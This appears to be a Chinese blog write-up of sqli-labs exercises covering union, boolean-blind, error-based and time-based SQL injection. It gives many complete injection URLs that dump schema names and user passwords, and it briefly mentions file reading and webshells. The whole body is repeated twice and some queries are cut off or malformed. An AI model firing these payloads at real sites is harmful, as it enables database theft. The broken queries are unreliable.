SQL靶场练习总结

GROUP_CONCAT()函数将组中的字符串连接成为具有各种选项的单个字符串

  • GROUP_CONCAT()函数GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成
  • Information_schema数据库 schemata(数据库名),tables(表名),columns(列名字段名)
  • 在schemata中schema_name字段用来存储数据库名
  • 在tables中table_schema,table_name分别存储数据库名和字段名
  • 在columns中table_schema,column_name字段名,table_name表名
  • http://sqli.com/Less-1/?id=%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+
  • 爆数据库
  • SQL靶场练习总结_第1张图片
  • 2.http://sqli.com/Less-1/?id=%27union%20select%201,group_concat(table_name)%20,3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
  • 爆数据库中的表
  • SQL靶场练习总结_第2张图片
  • http://sqli.com/Less-1/?id=%27union%20select%201,group_concat(column_name)%20,3%20from%20information_schema.columns%20where%20table_name=%27users%27--+limit%200,1
  • 爆users中的字段
  • SQL靶场练习总结_第3张图片3.
  • http://sqli.com/Less-1/?id=%27union%20select%201,username,password%20from%20users%20where%20id=9--+
  • 爆数据
  • SQL靶场练习总结_第4张图片
  • 总结:1.判断注入点2.判断字段数 3.查看回显点4.爆数据库5.爆数据库中的表6.爆表中的列 7.爆数据
  • 二:盲注的求解
  • 分类:1.基于布尔SQL盲注 2.基于时间的SQL盲注 3.基于报错的SQL盲注
  • 基础sql截取字符串函数
  • mid()函数此函数为截取字符串一部分。MID(column_name,start[,length])
  • SQL靶场练习总结_第5张图片
  • SQL靶场练习总结_第6张图片
  • SQL靶场练习总结_第7张图片
  • Ascii()将某个字符转换为ascii值
  • SQL靶场练习总结_第8张图片
  • 1:基于布尔SQL盲注----------构造逻辑判断
  • 查版本:http://sqli.com/Less-5/?id=1%27%20and%20left(version(),1)=5--+
  • 查数据库的长度:http://sqli.com/Less-5/?id=1%27%20and%20length(database())=8--+
  • 判断位判断第一个字符:http://sqli.com/Less-5/?id=1%27%20and%20left(database(),1)%3E%27a%27--+
  • 或http://sqli.com/Less-5/?id=1%27%20and%20ascii(substr(database(),1,1))%3E97--+
  • 判断数据库中表的数量:http://sqli.com/Less-5/?id=1%27%20and%20%20(select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)%3E3--+
  • 判断第一个表的长度:http://sqli.com/Less-5/?id=1%27%20and%20length((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%200,1))%3E3--+
  • 六:判断第一个表的名字:http://sqli.com/Less-5/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%200,1),1,1))%3E97--+
  • 七:判段第一个表的字段数量:http://sqli.com/Less-5/?id=1%27%20and%20(select%20count(column_name)%20from%20information_schema.columns%20where%20table_name=%27referers%27)%3E1--+
  • 八:判断这个表的第一个字段名字:http://sqli.com/Less-5/?id=1%27%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27referers%27%20limit%200,1),1,1))%3E90--+
  • 九:判断第一条数据的字段内容长度:
  • 1' and length((select comment_id from guestbook limit 0,1)) >1#
  • 判断第一条数据的字段内容:http://sqli.com/Less-5/?id=1%27%20and%20ascii(substr((select%20password%20from%20users%20lim
  • it%200,1),1,1))%3E2--+
  • ————————————————
  • SQL靶场练习总结_第9张图片
  • 如何知道匹配结束了?这里大部分根据一般的命名方式(经验)就可以判断。但是如何你在无法判断的情况下,可以用table_name regexp '^username$'来进行判断。^是从开头进行匹配,$是从结尾开始判断。更多的语法可以参考mysql使用手册进行了解。
  • 这里可能会有人认为使用limit 0,1改为limit 1,1。
  • 但是这种做法是错误的,limit作用在前面的select语句中,而不是regexp。那我们该如何选择。其实在regexp中我们是取匹配table_name中的内容,只要table_name中有的内容,我们用regexp都能够匹配到。因此上述语句不仅仅可以选择user,还可以匹配其他项。
  • SQL靶场练习总结_第10张图片
  • 利用 substr() ascii()函数进行尝试 ascii(substr((select table_name information_schema.tables where
  • tables_schema=database()limit 0,1),1,1))=101 根据以上得知数据库名为security,那我们利用此方式获取security数据库下的表。获取security数据库的第一个表的第一个字符
  • (3)利用regexp获取表中的列
  • http://sqli.com/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20column_name%20regexp%20%27^usernam[a-z]%27%20%20limit%200,1)--+
  • Cast(字段名 as 转换的类型 ),其中类型可以为:iFNULL(expr1,expr2)
  • 如果 expr1 不是 NULLIFNULL() 返回 expr1,否则它返回 expr2
  • (4)利用 ord()和 mid()函数获取 users 表的内容
  • http://sqli.com/Less-5/?id=1%27%20and%20ord(mid((select%20ifnull(cast(username%20AS%20char),0x20)%20from%20security.users%20order%20by%20id%20limit%200,1),1,1))=68--+
  • 获取 users 表中的内容。获取 username 中的第一行的第一个字符的 ascii,与 68 进行比较,即为 D。而我们从表中得知第一行的数据为 Dumb。所以接下来只需要重复造轮子即可。
  • 首先使用报错注入
  • 报错注入形式上是两个嵌套的查询,即select…..(selec….),里面的那个被称为子查询,先执行里面的包含括号的
  • Rand()随机函数,返回0-1之间的某个值
  • Floor(a)取整函数,返回小于等于a
  • Count()联合函数也称计数函数,返回查询对象的总数
  • Group by clause按照查询结果分组
  • 查询时候如果用rand()的话,该值会被计算多次,使用group by的时候,floor(rand()*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会被再举行一次。在一条多记录查询过程中,floor(rand()*2)的值是定性的为011011
  • 使用报错注入:http://sqli.com/Less-5/?id=1%27union%20select%201,count(*),concat(0x3a,(select%20user()),0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+
  • SQL靶场练习总结_第11张图片
  • 利用double数值类型超出范围进行报错注入
  • 基础:Exp()为以 e 为底的对数函数,将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。
  • http://sqli.com/Less-5/?id=1%27union%20select(exp(~(select%20*%20from(select%20user())a))),2,3--+
  • SQL靶场练习总结_第12张图片
  • 利用 bigint 溢出进行报错注入
  • 如果一个查询成功返回,其返回值为0,所以对其进行逻辑非的话就会变成1 http://sqli.com/Less-5/?id=0%27%20union%20select%201,(!(select*from(select%20user()limit%200,1)a)-~0),2--+
  • SQL靶场练习总结_第13张图片
  • xpath函数报错注入
  • Extractvalue;原理:让后台xml故意报错
  • and extractvalue(null,concat(0x7e,(sql_inject),0x7e))
  • 0x7e=~
  • 利用这种方式,让后台排序,指定第一个参数null,让它故意报错,将第二个参数带入数据库中执行,最后显示执行的结果
  • http://sqli.com/Less-5/?id=1%27and%20extractvalue(1,concat(0x7e,(select%20database()),0x7e))--+
  • SQL靶场练习总结_第14张图片
  • updatexml
  • and 1=(updatexml(1,concat(0x7e,(sql_inject)),1))
  • updatexml函数,是用来更新xml数据的,但是我们非法传参让它故意报错,执行sql语句,
  • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
  • 作用:改变文档中符合条件的节点的值
  • 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,第二个参数:代表路径,Xpath格式的字符串例如//title 第三个参数:string格式,替换查找到的符合条件的数据
  • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • 例如: select * from test where id = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
  • extractvalue()函数
  • 此函数从目标XML中返回包含所查询值的字符串
  • 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串)
  • extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • 例如:select user,password from users where user_id=1 and (extractvalue(1,0x7e));
  • 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
  • http://sqli.com/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)--+
  • SQL靶场练习总结_第15张图片
  • .name_const()函数
  • name_const(name,value)函数会用传入的参数返回一列结果集.传入的参数必须是常量
  • 利用数据的重复性
  • http://sqli.com/Less-5/?id=1%27union%20select%201,2,3%20from(select%20name_const(version(),1),name_const(version(),1))x--+不推荐使用
  • SQL靶场练习总结_第16张图片
  • .延时注入
  • 当错误的时候会有5秒的延时
  • http://sqli.com/Less-5/?id=1%27and%20if(ascii(substr(database(),1,1))=115,1,sleep(9))--+
  • 利用 BENCHMARK()进行延时注入
  • 它是MySQL的一个内置函数,用于测试函数或者表达式的执行速度。
  • 其运行返回值都是0,仅仅会执行显示时间。用法:benchmark(重复次数, 执行的函数)
  • 特性1:无论benchmark()内的函数或表达式语句执行结果为True、False、Null,他都会正常执行。
  • 仅支持查询单行单列的结果,如果存在单行单列的执行结果,则可以正常执行,反之则报错,执行失败。
  • Backgroup-3 导入导出相关操作的讲解
  • load_file()导出文件
  • Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
  • Show variables like ‘%secure%’;用来查看mysql是否有读写文件权限
  • 为一句话木马
  • 直观的区别就是GET把参数包含在URL中,POST通过request body传递参数。
  • 8.
  • GROUP_CONCAT()函数将组中的字符串连接成为具有各种选项的单个字符串
  • Bao数据据库
  • ROUP_CONCAT()函数GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成
  • Information_schema数据库 schemata(数据库名),tables(表名),columns(列名字段名)
  • 在schemata中schema_name字段用来存储数据库名
  • 在tables中table_schema,table_name分别存储数据库名和字段名
  • 在columns中table_schema,column_name字段名,table_name表名
  • http://sqli.com/Less-1/?id=%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+
  • 报数据库
  • SQL靶场练习总结_第17张图片
  • 2.http://sqli.com/Less-1/?id=%27union%20select%201,group_concat(table_name)%20,3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
  • 报数据库中的表
  • SQL靶场练习总结_第18张图片
  • http://sqli.com/Less-1/?id=%27union%20select%201,group_concat(column_name)%20,3%20from%20information_schema.columns%20where%20table_name=%27users%27--+limit%200,1
  • 爆users中的字段
  • SQL靶场练习总结_第19张图片3.
  • http://sqli.com/Less-1/?id=%27union%20select%201,username,password%20from%20users%20where%20id=9--+
  • 爆数据
  • SQL靶场练习总结_第20张图片
  • 总结:1.判断注入点2.判断字段数 3.查看回显点4.爆数据库5.爆数据库中的表6.爆表中的列 7.爆数据
  • 二:盲注的求解
  • 分类:1.基于布尔SQL盲注 2.基于时间的SQL盲注 3.基于报错的SQL盲注
  • 基础sql截取字符串函数
  • mid()函数此函数为截取字符串一部分。MID(column_name,start[,length])
  • SQL靶场练习总结_第21张图片
  • SQL靶场练习总结_第22张图片
  • SQL靶场练习总结_第23张图片
  • Ascii()将某个字符转换为ascii值
  • SQL靶场练习总结_第24张图片
  • 1:基于布尔SQL盲注----------构造逻辑判断
  • 查版本:http://sqli.com/Less-5/?id=1%27%20and%20left(version(),1)=5--+
  • 查数据库的长度:http://sqli.com/Less-5/?id=1%27%20and%20length(database())=8--+
  • 判断位判断第一个字符:http://sqli.com/Less-5/?id=1%27%20and%20left(database(),1)%3E%27a%27--+
  • 或http://sqli.com/Less-5/?id=1%27%20and%20ascii(substr(database(),1,1))%3E97--+
  • 判断数据库中表的数量:http://sqli.com/Less-5/?id=1%27%20and%20%20(select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)%3E3--+
  • 判断第一个表的长度:http://sqli.com/Less-5/?id=1%27%20and%20length((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%200,1))%3E3--+
  • 六:判断第一个表的名字:http://sqli.com/Less-5/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%200,1),1,1))%3E97--+
  • 七:判段第一个表的字段数量:http://sqli.com/Less-5/?id=1%27%20and%20(select%20count(column_name)%20from%20information_schema.columns%20where%20table_name=%27referers%27)%3E1--+
  • 八:判断这个表的第一个字段名字:http://sqli.com/Less-5/?id=1%27%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27referers%27%20limit%200,1),1,1))%3E90--+
  • 九:判断第一条数据的字段内容长度:
  • 1' and length((select comment_id from guestbook limit 0,1)) >1#
  • 判断第一条数据的字段内容:http://sqli.com/Less-5/?id=1%27%20and%20ascii(substr((select%20password%20from%20users%20lim
  • it%200,1),1,1))%3E2--+
  • ————————————————
  • SQL靶场练习总结_第25张图片
  • 如何知道匹配结束了?这里大部分根据一般的命名方式(经验)就可以判断。但是如何你在无法判断的情况下,可以用table_name regexp '^username$'来进行判断。^是从开头进行匹配,$是从结尾开始判断。更多的语法可以参考mysql使用手册进行了解。
  • 这里可能会有人认为使用limit 0,1改为limit 1,1。
  • 但是这种做法是错误的,limit作用在前面的select语句中,而不是regexp。那我们该如何选择。其实在regexp中我们是取匹配table_name中的内容,只要table_name中有的内容,我们用regexp都能够匹配到。因此上述语句不仅仅可以选择user,还可以匹配其他项。
  • SQL靶场练习总结_第26张图片
  • 利用 substr() ascii()函数进行尝试 ascii(substr((select table_name information_schema.tables where
  • tables_schema=database()limit 0,1),1,1))=101 根据以上得知数据库名为security,那我们利用此方式获取security数据库下的表。获取security数据库的第一个表的第一个字符
  • (3)利用regexp获取表中的列
  • http://sqli.com/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20column_name%20regexp%20%27^usernam[a-z]%27%20%20limit%200,1)--+
  • Cast(字段名 as 转换的类型 ),其中类型可以为:iFNULL(expr1,expr2)
  • 如果 expr1 不是 NULLIFNULL() 返回 expr1,否则它返回 expr2
  • (4)利用 ord()和 mid()函数获取 users 表的内容
  • http://sqli.com/Less-5/?id=1%27%20and%20ord(mid((select%20ifnull(cast(username%20AS%20char),0x20)%20from%20security.users%20order%20by%20id%20limit%200,1),1,1))=68--+
  • 获取 users 表中的内容。获取 username 中的第一行的第一个字符的 ascii,与 68 进行比较,即为 D。而我们从表中得知第一行的数据为 Dumb。所以接下来只需要重复造轮子即可。
  • 首先使用报错注入
  • 报错注入形式上是两个嵌套的查询,即select…..(selec….),里面的那个被称为子查询,先执行里面的包含括号的
  • Rand()随机函数,返回0-1之间的某个值
  • Floor(a)取整函数,返回小于等于a
  • Count()联合函数也称计数函数,返回查询对象的总数
  • Group by clause按照查询结果分组
  • 查询时候如果用rand()的话,该值会被计算多次,使用group by的时候,floor(rand()*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会被再举行一次。在一条多记录查询过程中,floor(rand()*2)的值是定性的为011011
  • 使用报错注入:http://sqli.com/Less-5/?id=1%27union%20select%201,count(*),concat(0x3a,(select%20user()),0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+
  • SQL靶场练习总结_第27张图片
  • 利用double数值类型超出范围进行报错注入
  • 基础:Exp()为以 e 为底的对数函数,将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。
  • http://sqli.com/Less-5/?id=1%27union%20select(exp(~(select%20*%20from(select%20user())a))),2,3--+
  • SQL靶场练习总结_第28张图片
  • 利用 bigint 溢出进行报错注入
  • 如果一个查询成功返回,其返回值为0,所以对其进行逻辑非的话就会变成1 http://sqli.com/Less-5/?id=0%27%20union%20select%201,(!(select*from(select%20user()limit%200,1)a)-~0),2--+
  • SQL靶场练习总结_第29张图片
  • xpath函数报错注入
  • Extractvalue;原理:让后台xml故意报错
  • and extractvalue(null,concat(0x7e,(sql_inject),0x7e))
  • 0x7e=~
  • 利用这种方式,让后台排序,指定第一个参数null,让它故意报错,将第二个参数带入数据库中执行,最后显示执行的结果
  • http://sqli.com/Less-5/?id=1%27and%20extractvalue(1,concat(0x7e,(select%20database()),0x7e))--+
  • SQL靶场练习总结_第30张图片
  • updatexml
  • and 1=(updatexml(1,concat(0x7e,(sql_inject)),1))
  • updatexml函数,是用来更新xml数据的,但是我们非法传参让它故意报错,执行sql语句,
  • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
  • 作用:改变文档中符合条件的节点的值
  • 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,第二个参数:代表路径,Xpath格式的字符串例如//title 第三个参数:string格式,替换查找到的符合条件的数据
  • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • 例如: select * from test where id = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
  • extractvalue()函数
  • 此函数从目标XML中返回包含所查询值的字符串
  • 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串)
  • extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • 例如:select user,password from users where user_id=1 and (extractvalue(1,0x7e));
  • 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
  • http://sqli.com/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)--+
  • SQL靶场练习总结_第31张图片
  • .name_const()函数
  • name_const(name,value)函数会用传入的参数返回一列结果集.传入的参数必须是常量
  • 利用数据的重复性
  • http://sqli.com/Less-5/?id=1%27union%20select%201,2,3%20from(select%20name_const(version(),1),name_const(version(),1))x--+不推荐使用
  • SQL靶场练习总结_第32张图片
  • .延时注入
  • 当错误的时候会有5秒的延时
  • http://sqli.com/Less-5/?id=1%27and%20if(ascii(substr(database(),1,1))=115,1,sleep(9))--+
  • 利用 BENCHMARK()进行延时注入
  • 它是MySQL的一个内置函数,用于测试函数或者表达式的执行速度。
  • 其运行返回值都是0,仅仅会执行显示时间。用法:benchmark(重复次数, 执行的函数)
  • 特性1:无论benchmark()内的函数或表达式语句执行结果为True、False、Null,他都会正常执行。
  • 仅支持查询单行单列的结果,如果存在单行单列的执行结果,则可以正常执行,反之则报错,执行失败。
  • Backgroup-3 导入导出相关操作的讲解
  • load_file()导出文件
  • Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
  • Show variables like ‘%secure%’;用来查看mysql是否有读写文件权限
  • 为一句话木马
  • 直观的区别就是GET把参数包含在URL中,POST通过request body传递参数。

你可能感兴趣的:(web安全,sql,数据库)